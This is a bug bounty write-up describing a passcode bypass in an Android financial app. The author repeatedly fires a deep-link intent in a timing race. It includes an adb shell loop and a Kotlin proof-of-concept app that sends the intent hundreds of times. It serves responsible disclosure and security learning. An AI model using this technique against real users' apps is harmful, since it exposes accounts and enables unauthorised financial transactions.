Background

An Activity is one of the Android’s component in an app. It is the screen that the user sees on a mobile app. (For example, the setting’s “screen”, home “screen, etc). A simple app could have one while more complicated ones could have dozens.

From a security perspective, I normally check if the app components are exported, meaning if they can be directly called by other applications. Sometimes these exported apps can be used to bypass restrictions that wasn’t intended by the developer.

How I was able to exploit this

On this specific bug bounty program, I noticed the application permitted a deep link, for argument sake let’s call it com.android.appname:// which automatically triggered the home activity of the app. However, with a passcode setup it was not possible to access the home page. I would consider accessing this page a sensitive as if an attacker could access the home page of the app, he could access sensitive information including making financial transactions.

I initially tried to fuzz different parameters such as “com.android.appname://login=1” using automation tools but this not get me anywhere. I then had a wild thought of sending this intent multiple times quickly, and this was when I noticed the app showed the home screen briefly before entering the passcode screen.

Proof of Concept

I then used the simple following code as a PoC, and was able to bypass the passcode screen.

while (true); do adb shell am start -a android.intent.action.VIEW -d "com.android.appname://"; sleep 0.15; done

No doubt occasionally there were few tapping attemps needed before the app registered the action (due to the timing effect), but it did the job!

I then proceeded to create a simple Android app with my limited Kotlin skills (I admit I struggled but learned a lot)

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        bigButton.setOnClickListener {
            Log.d("fast", "fast button pressed")
            val url = "com.android.appname://"
            for (n in 1..500) {
                startActivity(
                    Intent(
                        Intent.ACTION_VIEW, Uri.parse(url)
                    )
                )
                Thread.sleep(100)
            }
        }


        button2.setOnClickListener {
            Log.d("medium", "Medium button pressed")
            val url = "com.android.appname://"
            for (n in 1..500) {
                startActivity(
                    Intent(
                        Intent.ACTION_VIEW, Uri.parse(url)
                    )
                )
                Thread.sleep(150)
            }
        }


        button3.setOnClickListener {
            Log.d("slow", "Slow button pressed")
            val url = "com.android.appname://"
            for (n in 1..500) {
                startActivity(
                    Intent(
                        Intent.ACTION_VIEW, Uri.parse(url)
                    )
                )
                Thread.sleep(250)
            }
        }
    }
}

I created 3 buttons on the app in case the Hackerone reviewer’s phone behaved differently to mine.

Final thoughts

This was an interesting find as I never thought of bypassing passcode activities using timing attack.